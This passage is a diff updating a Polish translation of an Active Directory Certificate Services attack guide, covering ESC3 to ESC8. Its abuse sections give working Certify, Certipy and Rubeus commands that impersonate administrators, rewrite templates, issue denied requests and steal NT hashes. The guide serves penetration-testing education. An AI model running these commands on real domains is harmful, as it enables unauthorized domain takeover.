uprawnieniach. +- Certificate template zawiera Certificate Request Agent EKU, umożliwiając request of other certificate templates on behalf of other principals. **Wymagania 2:** -- Enterprise CA przyznaje prawa do rejestracji użytkownikom o niskich uprawnieniach. -- Zatwierdzenie przez menedżera jest omijane. -- Wersja schematu szablonu to 1 lub więcej niż 2, a on określa Wymóg Wydania Polityki Aplikacji, który wymaga EKU Agenta Żądania Certyfikatu. -- EKU zdefiniowane w szablonie certyfikatu zezwala na uwierzytelnianie w domenie. -- Ograniczenia dla agentów rejestracji nie są stosowane w CA. +- Enterprise CA przyznaje enrollment rights użytkownikom o niskich uprawnieniach. +- Manager approval jest pomijane. +- Wersja schematu template jest albo 1, albo większa niż 2, i określa Application Policy Issuance Requirement, które wymaga Certificate Request Agent EKU. +- EKU zdefiniowane w certificate template pozwala na domain authentication. +- Ograniczenia dla enrollment agents nie są stosowane na CA. -### Wykorzystanie +### Nadużycie -Możesz użyć [**Certify**](https://github.com/GhostPack/Certify) lub [**Certipy**](https://github.com/ly4k/Certipy), aby wykorzystać ten scenariusz: +Możesz użyć [**Certify**](https://github.com/GhostPack/Certify) lub [**Certipy**](https://github.com/ly4k/Certipy) aby nadużyć tego scenariusza: ```bash # Request an enrollment agent certificate Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent @@ -117,39 +127,48 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -Użytkownicy, którzy mają prawo do uzyskania certyfikatu agenta rejestracji, szablony, w których agentom rejestracji zezwala się na rejestrację, oraz konta, w imieniu których agent rejestracji może działać, mogą być ograniczone przez korporacyjne CA. Osiąga się to poprzez otwarcie `certsrc.msc` snap-in, kliknięcie prawym przyciskiem myszy na CA, kliknięcie Właściwości, a następnie przejście do zakładki „Agenci rejestracji”. +Użytkownicy, którym zezwolono na uzyskanie **enrollment agent certificate**, szablony, do których agenci rejestracji mogą się zapisać, oraz **accounts**, w imieniu których agent rejestracji może działać, mogą być ograniczane przez enterprise CAs. Osiąga się to przez otwarcie `certsrc.msc` **snap-in**, **kliknięcie prawym przyciskiem myszy na CA**, **wybranie Properties**, a następnie **przejście** na kartę “Enrollment Agents”. -Należy jednak zauważyć, że domyślne ustawienie dla CA to „Nie ograniczaj agentów rejestracji”. Gdy ograniczenie dla agentów rejestracji jest włączone przez administratorów, ustawienie na „Ogranicz agentów rejestracji” pozostaje niezwykle liberalne. Umożliwia to dostęp dla Wszystkich do rejestracji we wszystkich szablonach jako ktokolwiek. +Jednakże zauważono, że ustawienie **domyślne** dla CA to “**Do not restrict enrollment agents**.” Gdy administratorzy włączą ograniczenie dotyczące agentów rejestracji, ustawiając je na “Restrict enrollment agents,” domyślna konfiguracja nadal pozostaje skrajnie liberalna. Pozwala ona **Everyone** na rejestrację we wszystkich szablonach jako dowolny użytkownik. -## Kontrola dostępu do szablonów certyfikatów - ESC4 +## Wrażliwa kontrola dostępu do szablonów certyfikatów - ESC4 -### Wyjaśnienie +### **Wyjaśnienie** -Opis zabezpieczeń na szablonach certyfikatów definiuje uprawnienia, które konkretni AD principals posiadają w odniesieniu do szablonu. +**deskryptor bezpieczeństwa** na **szablonach certyfikatów** definiuje **uprawnienia**, które konkretne **podmioty AD** posiadają względem szablonu. -Jeśli atakujący posiada wymagane uprawnienia do zmiany szablonu i wprowadzenia jakichkolwiek wykorzystywalnych błędów konfiguracyjnych opisanych w poprzednich sekcjach, może to ułatwić eskalację uprawnień. +Jeśli **atakujący** posiada wymagane **uprawnienia** do **modyfikacji** **szablonu** i wprowadzenia dowolnych **eksploatowalnych błędów konfiguracji** opisanych we **wcześniejszych sekcjach**, może to ułatwić eskalację uprawnień. -Znaczące uprawnienia stosowane do szablonów certyfikatów obejmują: +Znaczące uprawnienia mające zastosowanie do szablonów certyfikatów to: -- Właściciel: Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów. -- Pełna kontrola: Umożliwia pełną władzę nad obiektem, w tym zdolność do zmiany dowolnych atrybutów. -- Zapisz właściciela: Umożliwia zmianę właściciela obiektu na principal kontrolowany przez atakującego. -- Zapisz Dacl: Umożliwia dostosowanie kontroli dostępu, potencjalnie przyznając atakującemu pełną kontrolę. -- Zapisz właściwość: Upoważnia do edytowania dowolnych właściwości obiektu. +- **Owner:** Przyznaje domyślną kontrolę nad obiektem, umożliwiając modyfikację dowolnych atrybutów. +- **FullControl:** Zapewnia pełną władzę nad obiektem, włącznie z możliwością zmiany dowolnych atrybutów. +- **WriteOwner:** Pozwala zmienić właściciela obiektu na podmiot kontrolowany przez atakującego. +- **WriteDacl:** Umożliwia modyfikację list kontroli dostępu, co może przyznać atakującemu FullControl. +- **WriteProperty:** Upoważnia do edycji dowolnych właściwości obiektu. ### Nadużycie -Przykład eskalacji uprawnień jak w poprzednim przypadku: +Aby zidentyfikować podmioty mające prawa do edycji szablonów i innych obiektów PKI, wyenumeruj za pomocą Certify: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +Przykład privesc podobny do poprzedniego:
-ESC4 to sytuacja, gdy użytkownik ma uprawnienia do zapisu nad szablonem certyfikatu. Może to być na przykład nadużyte do nadpisania konfiguracji szablonu certyfikatu, aby uczynić szablon podatnym na ESC1. +ESC4 występuje, gdy użytkownik ma uprawnienia zapisu do szablonu certyfikatu. Można to np. wykorzystać do nadpisania konfiguracji szablonu certyfikatu, aby uczynić go podatnym na ESC1. -Jak widać w powyższej ścieżce, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nowy `AddKeyCredentialLink` do `JOHNPC`. Ponieważ ta technika jest związana z certyfikatami, wdrożyłem również ten atak, który jest znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Oto mały podgląd polecenia `shadow auto` Certipy do odzyskania NT hasha ofiary. +Jak widać na ścieżce powyżej, tylko `JOHNPC` ma te uprawnienia, ale nasz użytkownik `JOHN` ma nową krawędź `AddKeyCredentialLink` do `JOHNPC`. + +Ponieważ ta technika jest związana z certyfikatami, zaimplementowałem też ten atak, znany jako [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). + +Oto krótki przedsmak polecenia Certipy’s `shadow auto`, służącego do pobrania NT hasha ofiary. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** może nadpisać konfigurację szablonu certyfikatu za pomocą jednego polecenia. Domyślnie Certipy **nadpisze** konfigurację, aby uczynić ją **wrażliwą na ESC1**. Możemy również określić **parametr `-save-old`, aby zapisać starą konfigurację**, co będzie przydatne do **przywrócenia** konfiguracji po naszym ataku. +**Certipy** może nadpisać konfigurację szablonu certyfikatu jednym poleceniem. **Domyślnie**, Certipy **nadpisze** konfigurację, aby uczynić ją **podatną na ESC1**. Możemy również określić **`-save-old` parametr, aby zapisać starą konfigurację**, co będzie przydatne do **przywrócenia** konfiguracji po naszym ataku. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,37 +179,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Vulnerable PKI Object Access Control - ESC5 +## Słaba kontrola dostępu do obiektów PKI - ESC5 -### Explanation +### Wyjaśnienie -Rozbudowana sieć powiązań opartych na ACL, która obejmuje kilka obiektów poza szablonami certyfikatów i urzędami certyfikacji, może wpłynąć na bezpieczeństwo całego systemu AD CS. Obiekty te, które mogą znacząco wpłynąć na bezpieczeństwo, obejmują: +Rozległa sieć powiązań oparta na ACL, obejmująca kilka obiektów wykraczających poza certificate templates i certificate authority, może wpływać na bezpieczeństwo całego systemu AD CS. Obiekty te, które mogą znacząco wpłynąć na bezpieczeństwo, obejmują: -- Obiekt komputera AD serwera CA, który może być skompromitowany za pomocą mechanizmów takich jak S4U2Self lub S4U2Proxy. -- Serwer RPC/DCOM serwera CA. -- Każdy potomny obiekt AD lub kontener w określonej ścieżce kontenera `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Ta ścieżka obejmuje, ale nie ogranicza się do, kontenerów i obiektów takich jak kontener Szablonów Certyfikatów, kontener Urzędów Certyfikacji, obiekt NTAuthCertificates oraz Kontener Usług Rejestracji. +- The AD computer object of the CA server, which may be compromised through mechanisms like S4U2Self or S4U2Proxy. +- The RPC/DCOM server of the CA server. +- Any descendant AD object or container within the specific container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. This path includes, but is not limited to, containers and objects such as the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, and the Enrollment Services Container. -Bezpieczeństwo systemu PKI może zostać skompromitowane, jeśli atakujący o niskich uprawnieniach zdoła przejąć kontrolę nad którymkolwiek z tych krytycznych komponentów. +Bezpieczeństwo systemu PKI może zostać naruszone, jeśli atakujący o niskich uprawnieniach uzyska kontrolę nad którymkolwiek z tych krytycznych komponentów. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Explanation +### Wyjaśnienie -Temat poruszony w [**poście CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) dotyczy również implikacji flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, jak opisano przez Microsoft. Ta konfiguracja, gdy jest aktywowana na Urzędzie Certyfikacji (CA), pozwala na włączenie **wartości zdefiniowanych przez użytkownika** w **alternatywnym nazwie podmiotu** dla **dowolnego żądania**, w tym tych skonstruowanych z Active Directory®. W związku z tym, ten przepis pozwala **intruzowi** na rejestrację za pomocą **dowolnego szablonu** skonfigurowanego do **uwierzytelniania** w domenie—szczególnie tych otwartych na rejestrację **użytkowników bez uprawnień**, jak standardowy szablon Użytkownika. W rezultacie można zabezpieczyć certyfikat, umożliwiając intruzowi uwierzytelnienie jako administrator domeny lub **jakikolwiek inny aktywny podmiot** w domenie. +Wątek poruszony w [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) omawia także implikacje flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, zgodnie z opisem Microsoft. Ta konfiguracja, po aktywacji na Certification Authority (CA), pozwala na umieszczanie wartości zdefiniowanych przez użytkownika w subject alternative name dla dowolnego requestu, w tym tych zbudowanych z Active Directory®. W konsekwencji umożliwia to intruzowi enroll poprzez dowolny template skonfigurowany do uwierzytelniania domenowego — zwłaszcza te otwarte do rejestracji przez nieuprzywilejowanych użytkowników, jak standardowy User template. W rezultacie atakujący może uzyskać certyfikat pozwalający na uwierzytelnienie jako administrator domeny lub dowolny inny aktywny obiekt w domenie. -**Uwaga**: Podejście do dodawania **alternatywnych nazw** do Żądania Podpisania Certyfikatu (CSR), za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Pary Nazwa Wartość”), przedstawia **kontrast** w porównaniu do strategii eksploatacji SAN w ESC1. Tutaj różnica polega na **tym, jak informacje o koncie są enkapsulowane**—w atrybucie certyfikatu, a nie w rozszerzeniu. +**Uwaga**: Metoda dopisywania alternative names do Certificate Signing Request (CSR) za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Name Value Pairs”) kontrastuje z techniką wykorzystywania SANs w ESC1. Różnica polega na tym, jak informacje o koncie są kapsułowane — w atrybucie certyfikatu, zamiast w rozszerzeniu. -### Abuse +### Nadużycie -Aby sprawdzić, czy ustawienie jest aktywowane, organizacje mogą wykorzystać następujące polecenie z `certutil.exe`: +Aby sprawdzić, czy ustawienie jest aktywne, organizacje mogą wykorzystać następujące polecenie z `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Ta operacja zasadniczo wykorzystuje **zdalny dostęp do rejestru**, w związku z tym alternatywne podejście może być: +Ta operacja zasadniczo wykorzystuje **remote registry access**, więc alternatywnym podejściem może być: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Narzędzia takie jak [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) są w stanie wykryć tę błędną konfigurację i ją wykorzystać: +Narzędzia takie jak [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) są w stanie wykryć tę nieprawidłową konfigurację i ją wykorzystać: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,7 +218,7 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Aby zmienić te ustawienia, zakładając, że posiada się **prawa administratora domeny** lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej: +Aby zmienić te ustawienia, jeśli posiada się **domain administrative** prawa lub równoważne, można wykonać następujące polecenie z dowolnej stacji roboczej: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -208,30 +227,30 @@ Aby wyłączyć tę konfigurację w swoim środowisku, flagę można usunąć za certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Po aktualizacjach zabezpieczeń z maja 2022 roku, nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które włącza właściwość **`objectSid`** wnioskodawcy. Dla ESC1, ten SID pochodzi z określonego SAN. Jednak dla **ESC6**, SID odzwierciedla **`objectSid`** wnioskodawcy, a nie SAN.\ -> Aby wykorzystać ESC6, system musi być podatny na ESC10 (Słabe mapowania certyfikatów), które priorytetowo traktuje **SAN nad nowym rozszerzeniem zabezpieczeń**. +> Po aktualizacjach zabezpieczeń z maja 2022, nowo wydane **certyfikaty** będą zawierać **rozszerzenie zabezpieczeń**, które włącza **właściwość `objectSid` żądającego**. Dla ESC1 ten SID jest wyprowadzany z określonego SAN. Jednak dla **ESC6** SID odzwierciedla **`objectSid` żądającego**, a nie SAN.\ +> Aby wykorzystać ESC6, system musi być podatny na ESC10 (Weak Certificate Mappings), które faworyzuje **SAN nad nowym rozszerzeniem zabezpieczeń**. -## Kontrola dostępu do podatnej jednostki certyfikującej - ESC7 +## Narażona kontrola dostępu do CA - ESC7 ### Atak 1 #### Wyjaśnienie -Kontrola dostępu dla jednostki certyfikującej jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uzyskując dostęp do `certsrv.msc`, klikając prawym przyciskiem myszy na CA, wybierając właściwości, a następnie przechodząc do zakładki Zabezpieczenia. Dodatkowo, uprawnienia można enumerować za pomocą modułu PSPKI z poleceniami takimi jak: +Kontrola dostępu do Certificate Authority jest utrzymywana przez zestaw uprawnień, które regulują działania CA. Te uprawnienia można zobaczyć, uruchamiając `certsrv.msc`, klikając prawym przyciskiem na CA, wybierając Properties, a następnie przechodząc do zakładki Security. Dodatkowo uprawnienia można wyliczyć używając modułu PSPKI za pomocą poleceń takich jak: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -To zapewnia wgląd w główne uprawnienia, mianowicie **`ManageCA`** i **`ManageCertificates`**, które odpowiadają rolom „administrator CA” i „menedżer certyfikatów” odpowiednio. +To dostarcza wglądu w główne uprawnienia, mianowicie **`ManageCA`** i **`ManageCertificates`**, odpowiadające odpowiednio rolom „CA administrator” i „Certificate Manager”. #### Nadużycie -Posiadanie praw **`ManageCA`** na urzędzie certyfikacji umożliwia głównemu użytkownikowi zdalne manipulowanie ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, aby zezwolić na specyfikację SAN w dowolnym szablonie, co jest kluczowym aspektem eskalacji domeny. +Posiadanie uprawnień **`ManageCA`** na urzędzie certyfikacji (CA) umożliwia podmiotowi zdalną manipulację ustawieniami za pomocą PSPKI. Obejmuje to przełączanie flagi **`EDITF_ATTRIBUTESUBJECTALTNAME2`** w celu zezwolenia na określenie SAN w dowolnym szablonie, co jest krytycznym elementem eskalacji domeny. -Uproszczenie tego procesu jest możliwe dzięki użyciu cmdletu **Enable-PolicyModuleFlag** w PSPKI, co pozwala na modyfikacje bez bezpośredniej interakcji z GUI. +Uproszczenie tego procesu jest możliwe dzięki użyciu cmdletu PSPKI **Enable-PolicyModuleFlag**, co pozwala wprowadzać zmiany bez bezpośredniej interakcji z GUI. -Posiadanie praw **`ManageCertificates`** ułatwia zatwierdzanie oczekujących wniosków, skutecznie omijając zabezpieczenie „zatwierdzenie menedżera certyfikatów CA”. +Posiadanie uprawnień **`ManageCertificates`** umożliwia zatwierdzanie oczekujących żądań, skutecznie obchodząc zabezpieczenie "CA certificate manager approval". -Kombinacja modułów **Certify** i **PSPKI** może być wykorzystana do żądania, zatwierdzania i pobierania certyfikatu: +Kombinacja modułów **Certify** i **PSPKI** może być użyta do złożenia żądania, zatwierdzenia i pobrania certyfikatu: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -252,28 +271,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Wyjaśnienie > [!WARNING] -> W **poprzednim ataku** **`Manage CA`** uprawnienia zostały użyte do **włączenia** flagi **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ataku ESC6**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie ponownie uruchomiona. Gdy użytkownik ma prawo dostępu **`Manage CA`**, użytkownik ma również prawo do **ponownego uruchomienia usługi**. Jednak **nie oznacza to, że użytkownik może ponownie uruchomić usługę zdalnie**. Ponadto, E**SC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku. +> W **poprzednim ataku** uprawnienia **`Manage CA`** zostały użyte, aby **włączyć** flagę **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ESC6 attack**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie zrestartowana. Gdy użytkownik ma prawo dostępu `Manage CA`, użytkownikowi przysługuje również możliwość **restartu usługi**. Jednakże to **nie oznacza, że użytkownik może zrestartować usługę zdalnie**. Co więcej, E**SC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji bezpieczeństwa z maja 2022. -Dlatego tutaj przedstawiono inny atak. +W związku z tym przedstawiono tutaj inny atak. Wymagania wstępne: -- Tylko **`ManageCA` uprawnienie** -- Uprawnienie **`Manage Certificates`** (może być przyznane z **`ManageCA`**) +- Tylko **`ManageCA` permission** +- **`Manage Certificates`** permission (może być nadane z **`ManageCA`**) - Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z **`ManageCA`**) -Technika opiera się na fakcie, że użytkownicy z prawem dostępu **`Manage CA`** _i_ **`Manage Certificates`** mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zarejestrować się w szablonie. Tak więc, **użytkownik** może **zażądać** rejestracji w **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**. +Technika opiera się na fakcie, że użytkownicy z prawami dostępu `Manage CA` _i_ `Manage Certificates` mogą wystawiać nieudane żądania certyfikatów. Szablon certyfikatu **`SubCA`** jest **vulnerable to ESC1**, ale **tylko administratorzy** mogą zapisać się do tego szablonu. Zatem **użytkownik** może **zażądać** zapisania się do **`SubCA`** — żądanie zostanie **odrzucone** — lecz następnie może zostać **wydane przez managera**. #### Nadużycie -Możesz **przyznać sobie prawo dostępu `Manage Certificates`**, dodając swoje konto jako nowego oficera. +Możesz **grant yourself the `Manage Certificates`** access right, dodając swój użytkownik jako nowego officer. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Szablon **`SubCA`** może być **włączony na CA** za pomocą parametru `-enable-template`. Domyślnie szablon `SubCA` jest włączony. +Szablon **`SubCA`** można **włączyć na CA** za pomocą parametru `-enable-template`. Domyślnie szablon `SubCA` jest włączony. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +304,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Jeśli spełniliśmy wymagania wstępne dla tego ataku, możemy zacząć od **zażądania certyfikatu opartego na szablonie `SubCA`**. +Jeśli spełniliśmy wymagania wstępne dla tego ataku, możemy zacząć od **zażądania certyfikatu na podstawie szablonu `SubCA`**. -**To żądanie zostanie odrzucone**, ale zapiszemy klucz prywatny i zanotujemy identyfikator żądania. +**To żądanie zostanie odrzucone**, ale zachowamy klucz prywatny i zanotujemy ID żądania. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +318,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Za pomocą naszych **`Manage CA` i `Manage Certificates`**, możemy następnie **wydać nieudane żądanie certyfikatu** za pomocą polecenia `ca` i parametru `-issue-request `. +Dzięki naszym **`Manage CA` i `Manage Certificates`** możemy następnie **wydać certyfikat dla nieudanej prośby** za pomocą polecenia `ca` i parametru `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -A na koniec możemy **pobrać wydany certyfikat** za pomocą polecenia `req` i parametru `-retrieve `. +I wreszcie możemy **pobrać wystawiony certyfikat** za pomocą polecenia `req` i parametru `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,83 +337,83 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Atak 3 – Nadużycie rozszerzenia zarządzania certyfikatami (SetExtension) +### Attack 3 – Manage Certificates Extension Abuse (SetExtension) -#### Wyjaśnienie +#### Explanation -Oprócz klasycznych nadużyć ESC7 (włączanie atrybutów EDITF lub zatwierdzanie oczekujących wniosków), **Certify 2.0** ujawnił zupełnie nowy prymityw, który wymaga jedynie roli *Zarządzanie certyfikatami* (znanej również jako **Menadżer / Oficer Certyfikatów**) na Enterprise CA. +In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA. -Metoda RPC `ICertAdmin::SetExtension` może być wykonywana przez każdego użytkownika posiadającego *Zarządzanie certyfikatami*. Chociaż metoda ta była tradycyjnie używana przez legalne CA do aktualizacji rozszerzeń w **oczekujących** wnioskach, atakujący może ją nadużyć, aby **dodać *niedomyslne* rozszerzenie certyfikatu** (na przykład niestandardowy OID *Polityki wydawania certyfikatów* taki jak `1.1.1.1`) do wniosku, który czeka na zatwierdzenie. +The `ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*. While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval. -Ponieważ docelowy szablon **nie definiuje wartości domyślnej dla tego rozszerzenia**, CA NIE nadpisze wartości kontrolowanej przez atakującego, gdy wniosek zostanie ostatecznie wydany. W rezultacie certyfikat zawiera rozszerzenie wybrane przez atakującego, które może: +Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued. The resulting certificate therefore contains an attacker-chosen extension that may: -* Spełniać wymagania polityki aplikacji / wydawania innych podatnych szablonów (prowadząc do eskalacji uprawnień). -* Wstrzykiwać dodatkowe EKU lub polityki, które nadają certyfikatowi niespodziewane zaufanie w systemach zewnętrznych. +* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation). +* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems. -Krótko mówiąc, *Zarządzanie certyfikatami* – wcześniej uważane za „mniej potężną” część ESC7 – może teraz być wykorzystywane do pełnej eskalacji uprawnień lub długoterminowej persystencji, bez dotykania konfiguracji CA lub wymagania bardziej restrykcyjnego prawa *Zarządzanie CA*. +In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right. -#### Nadużycie prymitywu z Certify 2.0 +#### Abusing the primitive with Certify 2.0 -1. **Złóż wniosek o certyfikat, który pozostanie *oczekujący*.** Można to wymusić za pomocą szablonu, który wymaga zatwierdzenia menedżera: +1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Zwróć uwagę na zwrócone ID wniosku +# Take note of the returned Request ID ``` -2. **Dodaj niestandardowe rozszerzenie do oczekującego wniosku** używając nowego polecenia `manage-ca`: +2. **Append a custom extension to the pending request** using the new `manage-ca` command: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # fałszywy OID polityki wydawania +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Jeśli szablon nie definiuje już rozszerzenia *Polityki wydawania certyfikatów*, powyższa wartość zostanie zachowana po wydaniu.* +*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.* -3. **Wydaj wniosek** (jeśli twoja rola ma również prawa zatwierdzania *Zarządzania certyfikatami*) lub poczekaj na zatwierdzenie przez operatora. Po wydaniu pobierz certyfikat: +3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Ostateczny certyfikat zawiera teraz złośliwy OID polityki wydawania i może być użyty w kolejnych atakach (np. ESC13, eskalacja domeny itp.). +4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.). -> UWAGA: Ten sam atak można wykonać za pomocą Certipy ≥ 4.7 przez polecenie `ca` i parametr `-set-extension`. +> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter. -## NTLM Relay do punktów końcowych AD CS HTTP – ESC8 +## NTLM Relay to AD CS HTTP Endpoints – ESC8 -### Wyjaśnienie +### Explanation > [!TIP] -> W środowiskach, w których **AD CS jest zainstalowane**, jeśli istnieje **punkt końcowy rejestracji internetowej podatny** i przynajmniej jeden **szablon certyfikatu jest opublikowany**, który zezwala na **rejestrację komputerów domenowych i uwierzytelnianie klientów** (takich jak domyślny **szablon `Machine`**), możliwe jest, aby **jakikolwiek komputer z aktywną usługą spoolera został skompromitowany przez atakującego**! +> W środowiskach, gdzie **AD CS is installed**, jeśli istnieje **vulnerable web enrollment endpoint** i przynajmniej jeden **certificate template is published**, który pozwala na **domain computer enrollment and client authentication** (na przykład domyślny **`Machine`** template), staje się możliwe, że **dowolny komputer z aktywną spooler service może zostać przejęty przez atakującego**! -Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które administratorzy mogą zainstalować. Te interfejsy do rejestracji certyfikatów opartej na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, te interfejsy internetowe mogą być dostępne przez atakującego, aby **zażądać certyfikatu uwierzytelniania klienta za pomocą szablonów certyfikatów `User` lub `Machine`**. +Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**. -- **Interfejs rejestracji internetowej** (starsza aplikacja ASP dostępna pod `http:///certsrv/`), domyślnie obsługuje tylko HTTP, co nie oferuje ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM przez swój nagłówek HTTP Authorization, co sprawia, że bardziej bezpieczne metody uwierzytelniania, takie jak Kerberos, są nieodpowiednie. -- **Usługa rejestracji certyfikatów** (CES), **Polityka rejestracji certyfikatów** (CEP) Web Service oraz **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negotiate przez swój nagłówek HTTP Authorization. Uwierzytelnianie negotiate **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie włączają HTTPS, HTTPS sam w sobie **nie chroni przed atakami 